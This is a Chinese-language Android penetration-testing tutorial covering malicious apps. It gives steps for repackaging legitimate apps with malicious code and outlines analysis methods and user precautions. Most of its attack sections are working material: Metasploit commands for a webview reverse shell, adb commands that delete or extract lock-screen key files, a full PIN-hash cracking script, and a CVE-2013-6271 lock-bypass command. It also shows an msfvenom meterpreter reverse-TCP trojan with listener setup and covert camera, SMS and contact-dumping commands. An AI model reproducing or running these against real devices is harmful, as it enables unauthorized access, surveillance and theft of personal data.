Android渗透测试之恶意应用
0x01 Android恶意应用介绍
计算机病毒很流行。随着智能手机的发展,能够感染智能手机的移动恶意软件正在日益增加,这是一个被人们普遍接受的事实。由于安卓系统的开放性,而且其敏感API对开发人员也是开发的,因此它成为了网络罪犯的一个主要目标。任何拥有安卓编程基础知识的人都能创建负责且对用户极为有害的安卓恶意软件。
事实上,典型的移动恶意软件就是运行在移动设备上的传统恶意软件。恶意软件的目的完全取决于其作者想得到什么,下面是安卓恶意软件的一些特征
- 窃取个人信息,并发送到攻击者的服务器上(个人信息包括短信、通话记录、联系人、通话录音、GPS位置、图片、视频、浏览器历史记录、手机IMEI码等)
- 发送付费短信
- ROOT设备
- 使攻击者获得远程控制权限
- 在未经用户允许的情况下安装其他应用
- 作为广告软件存在
- 窃取银行账户信息
恶意应用很容易修改和感染原始安卓应用。通过下面的步骤可以达到这个目的:
- 使用Apktool工具得到原始应用和恶意应用的smali代码;
- 将恶意应用的smali文件添加到原始应用smali文件夹下;
- 将恶意应用的所有配置修改到原始应用;
- 将恶意应用所需的权限添加至原始应用的AndroidManifest.xml文件中;
- 如果需要的话,声明诸如广播接收器、服务等组件;
- 使用apktool工具重新打包原始应用
- 使用apktool和jarsigner工具对新生成的apk文件进行签名
- 至此,你已准备好已被感染的应用。
0x02 恶意应用分析
1. 静态分析
首先,使用逆向工程技术进行静态分析,当对应用的恶意行为进行分析时,如果能访问应用的源代码将会使分析过程变得更加简单。
使用apktool拆解安卓应用,并获得应用的smali代码,下面是具体的操作步骤:
- 导航到应用位置,即apk文件存放位置
- 运行命令可以得到应用的smali代码:
java-jar apktool.jar d [应用].apk
- 在目录下创建了一些文件夹,其中AndroidManifest.xml文件和smali文件夹就是我们要找的
- 浏览AndroidManifest.xml文件
在进行恶意软件分析时,浏览AndroidManifest.xml文件通常能找到大量信息。由于移动设备对敏感API的访问有严格限制,开发者如果想通过应用访问敏感API,就需要声明权限。这对恶意软件开发者来说也不例外。如果应用需要访问短信,就需要在AndroidManifest.xml文件中声明READ_SMS权限。类似地,进行任何敏感API的调用都需要声明对应的权限。我们浏览一下从SmartStealer.apk文件得到的AndroidManifest.xml文件
如下应用请求了两个权限

这个应用仅有一个activity。即MainActivity,没有服务和广播之类的不可见的应用组件。
- 浏览smali文件
通过aoktool能得到smali代码,smali代码是介于原始java代码和最终dex代码中间的版本。虽然它看起来不像是使用java之类的高级语言编写的代码,但花上一点时间研究一下也是能得到丰富的成果
下面是apktool导出的smali文件

下面代码显示ManActicvity.smali中的代码


- 使用dex2jar和JD_GUI反编译安卓应用
- dex2jar工具可以将DEX文件转换成JAR文件
- 一旦DEX文件生成了JAR文件,许多传统的java反编译工具能够冲jar中获取java文件,JD_GUI是最常用的工具之一。
2. 动态分析
使用动态分析技术是另一种分析安卓应用的方法,它包括运行应用,并了解应用功能以及应用运行时行为,在源代码被混淆的情况下,动态分析很有用。这一部分主要介绍使用主动和被动两种流量拦截技术来分析安卓应用的网络流量。
使用burp分析http/https流量
使用tcpdump和winreshark分析网络流量
2.1 自动化分析工具
有时,手动进行分析可能需要耗费比较长的时间。我们可以选择多种安卓应用动态分析工具。如果你想要的进行离线分析,Droidbox是最好的选择。Droidbox是一个对安卓应用进行动态分析的沙盒环境。还有一些在线分析引擎的分析效果也不错。SandDroid就是其中之一。可以访问http://sandDroif.xjtu.edu.cn/,并上传你的apk文件进行动态分析。
2.2 如何避免安卓恶意软件的威胁
- 作为终端用户,使用安卓设备时必须小心。从本章中可以看出,只需少量安卓编写知识,就能开发出可以造成极大危害的安卓恶意软件。下面是终端用户避免恶意软件威胁的一些建议:
- 始终从官方市场安卓应用
- 不盲目接受应用的权限请求
*当应用请求时间需求之外的权限时要小心,比如,一个记事本应用请求READ_SMS权限就很可疑
- 当有更新时,要及时更新设备
- 使用杀毒应用
- 尽量不要在移动端存放太多的敏感信息。
0x03 针对安卓设备的攻击
1. 中间人攻击
由于用户经常连接公共wi-fi,中间人攻击是针对移动设备最常见的攻击之一。如果能对设备发起中间人攻击,不仅导致在用户连接不安全的网络时将数据提供给攻击者,在某些情况下还可能让攻击者篡改用户的通讯数据并利用漏洞。webview的addjavascriptInterface漏洞就是一个很好的例子,攻击者只需要拦截通讯,并在http响应中注入任意的javascript脚本,就能获取受害者设备的全部访问权限。
接下来展示使用kali验证webview的addjavaascriptinterface漏洞:
首先,查找模块:search addjavascript

加载漏洞模块:
use exploit/android/browser/webview_addjavascriptinterface

配置所需参数:set lhost 192.168.44.128

使用移动端设备访问漏洞地址:http://192.168.44.128:8080/5IHQBnxO

漏洞结果,如果存在,得到反弹的shell,如果不存在,显示没有找到该模块

2.恶意软件
我们发现用于安卓编程基础知识的恶意开发者就能创建针对安卓平台的恶意软件,如果攻击者想要窃取用户数据,或者进行其他攻击,比如攻击安卓设备,利用恶意软件是他们最常用的方式。
2.1 绕过设备锁屏
和大部分设备一样,安卓设备也具有锁屏的功能,能够防止未授权用户使用设备
安卓设备通常有以下几种锁屏方式:
- 滑动锁屏:滑动滑块解锁设备
- 图案:输入正确的连续多个点的图案解锁设备
- PIN码:输入正确的数值解锁设备
- 密码:输入正确的密码解锁设备
2.1.1 使用adb绕过图案锁(需要设备已ROOT,且打开USB调试):
图案锁是安卓设备的一种锁屏方式,它需要用户使用正确的组合来连接多个点

我们可以想象每个点对应一个数字,这种情况下,图案对应的是14789
当用户设置图案是,安卓将输入图案的散列值存储到/data/system目录下的gesture.key文件中,这个文件只有root用户才能访问,因此,我们需要root权限来访问这个文件。
有两种方式可以在root设备上绕过图案锁:
1. 移除gesture.key文件
移除gesture.key文件很简单,只需要从设备上获取一个shell,进入gesture.key的文件夹,并允许rm命令即可
具体步骤:
使用adb命令获取设备的shell并取得root权限

找到gesture.key文件并删除

重启手机,可发现锁屏已经取消
2.拉取gesture.key文件,并破解SHA1散列值
具体步骤:
同样先使用adb命令,获取设备shell,找到gesture.key文件,先将文件复制到SD卡中

使用adb pull命令将文件移动至电脑

接下来,在任意类Unix的设备中运行下面的命令,破解文件中的散列值
grep -i xxd -p gesture.key AndroidGestureSHA1.txt
AndroidGestureSHA1.txt 文件可自行在网上下载

结果可看出,锁屏密码为00,03,06,07,08
2.1.2 使用adb绕过密码或者PIN码(需要设备已ROOT,并且开启USB调试)
如果用户创建了密码或PIN码,会创建一个散列值,并保存到/data/system/password.key文件中,此外,还会生成一个随机盐值,并保存在/data/system路径下的locksettings.db文件中。我们需要使用这组散列值和盐值来暴力破解PIN码。
具体步骤:
首先,将password.key和locksettings.db文件拉取出来,两个文件都存放在/data/system/下

使用adb pull命令将文件导出

然后,获取password.key文件中的散列值。我们可以使用一个十六进制编辑器打开password.key文件,并获取散列值

使用SQLite3命令行工具打开locksettings.sb文件,并获取盐值(盐值保存在locksettings表中,从lockscreen.password_salt条目中可以找到它)

当然此处也可使用sqlite3图形界面工具打开
最后使用爆破脚本进行破解:python AndroidPINCrak.py -H [hash] -s [salt] -l [max_length_of_PIN],破解PIN的时间取决于用户设置PIN的复杂度

破解成功,附上AndroidPINCrak.py脚本
#!/usr/bin/python
# Android Hash Cracker
# Jose Selvi - jselvi[a.t]pentester[d0.t]es - http://www.pentester.es
# Version 0.2 - 05/May/2013
# - Fixed problems in hex() at Python 2.6 (thanks @ldelgadoj)
# Libraries
from optparse import OptionParser
from itertools import product
import hashlib
from binascii import hexlify
# Charsets
CHARSET_NUMERIC = "0123456789"
CHARSET_ALPHA = "abcdefghijklmnopqrstuvwxyz."
CHARSET_ALPHANUMERIC = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
CHARSET_FULL = """ !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"""
# Android Default Hashing Algorithm
def hashDefault(passcode,salt):
salted_passcode = passcode + salt
guess_digest = hashlib.sha1(salted_passcode).digest()
guess_hash = hexlify( guess_digest ).upper()
return guess_hash
# Special Samsung Hashung Algorithm
def hashSamsung(passcode,salt):
salted_passcode = passcode + salt
buf=str()
for i in range(1024):
step_string = str(buf) + str(i) + salted_passcode
buf = hashlib.sha1( step_string ).digest()
return hexlify(buf).upper()
# Generate Hash
def generateHash(passcode,salt,model):
if model == "SAMSUNG":
return hashSamsung(passcode,salt)
else:
return hashDefault(passcode,salt)
###
### Main
###
# Get Parameters
usage = "usage: %prog [options]"
parser = OptionParser(usage=usage)
parser.add_option("-H", "--hash", type="string", dest="hash", help="password.key hash")
parser.add_option("-s", "--salt", type="int", dest="salt", help="Hash salt")
parser.add_option("-m", "--model", type="choice", dest="model", choices=['default','samsung'], default="default", help="Android Version/Model")
parser.add_option("-c", "--charset", type="choice", dest="charset", choices=['numeric','alpha', 'alphanumeric','full'], default="numeric", help="Password charset to test (default=numeric)")
parser.add_option("-l", "--length", type="int", dest="length", default=4, help="Passcode max length (default=4)")
parser.add_option("-w", "--wordlist", type="string", dest="wordlist_file", help="wordlist file")
(options, args) = parser.parse_args()
if not options.hash or not options.salt:
parser.print_help()
exit()
# Check lenght
if options.length < 4:
print "Error! Min passcode len in Android is 4!"
exit()
if options.length > 16:
print "Error! Max passcode len in Android is 16!"
exit()
if options.length > 6:
print "Maybe you should use a faster tool such as Hashcat... but let's move on!"
# Split hashes
HASH_SHA1 = options.hash.upper()[:40]
HASH_MD5 = options.hash.upper()[41:]
# From Numeric Salt to Hex (len should be 8?)
#SALT = hex(options.salt).lstrip('0x').rstrip('L').zfill(8)
SALT = hex(options.salt).lstrip('0x').rstrip('L')
# Get Charset
if options.charset == 'numeric':
CHARSET = CHARSET_NUMERIC
elif options.charset == 'alpha':
CHARSET = CHARSET_ALPHA
elif options.charset == 'alphanumeric':
CHARSET = CHARSET_ALPHANUMERIC
elif options.charset == 'full':
CHARSET = CHARSET_FULL
else:
CHARSET = CHARSET_NUMERIC
# Get Model
MODEL = options.model.upper()
try:
# Generate Passcodes
if not options.wordlist_file:
for l in range(3, options.length):
for passcode in product(CHARSET, repeat=l+1):
passcode = "".join([x for x in passcode])
# GenerateHash
GUESS_HASH = generateHash( passcode, SALT, MODEL )
# CompareHash
if GUESS_HASH == HASH_SHA1:
print "Found! Passcode = " + passcode
exit()
# Or using wordlist
else:
for passcode in open(options.wordlist_file):
passcode = passcode.rstrip()
# GenerateHash
GUESS_HASH = generateHash( passcode, SALT, MODEL )
# CompareHash
if GUESS_HASH == HASH_SHA1:
print "Found! Passcode = " + passcode
exit()
# Not found...
print "Bad luck... Is that your specific model?"
exit()
except KeyboardInterrupt:
exit()
2.1.3 利用CVE-2013-6271漏洞绕过锁屏
2013年,Curesec公开了一个漏洞,它能在无需用户交互的情况下清除安卓设备的锁屏。实际上,这利用了com.android.settings.ChooseLockGeneric类中的一个漏洞。用户可以开发一个Intent来禁用所有的锁屏功能。
adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task
运行这个命令将会禁用锁屏

新版Android系统已将此漏洞修复,无法复现
2.2 使用kali生成木马入侵安卓手机
首先查看kali的IP

输入以下命令生成木马apk
> msfvenom -p android/meterpreter/reverse_tcp LHOST =[你的IP] LPORT=5555 R > /root/apk.apk
显示这个说明已经生成成功了

然后启动msf:msfconsole,输入命令
> use exploit/multi/handler

设置lhost和lport参数,分别表示地址和端口

执行命令,开启监听

将apk文件安装到手机上,启动软件

此时kali中已获取到shell

使用sysinfo获取手机信息

* webcam_stream //开启摄像头
* webcam_snap //隐秘拍照功能
* dump_contacts //导出电话号码
* dump_sms //导出信息
* 
以上内容即为一些Android恶意应用的介绍及使用,复现时可能有坑,请各位大佬及时指出,涉及到一些危险操作,请谨慎复现。
感兴趣的师傅可以关注公众号,感谢支持。
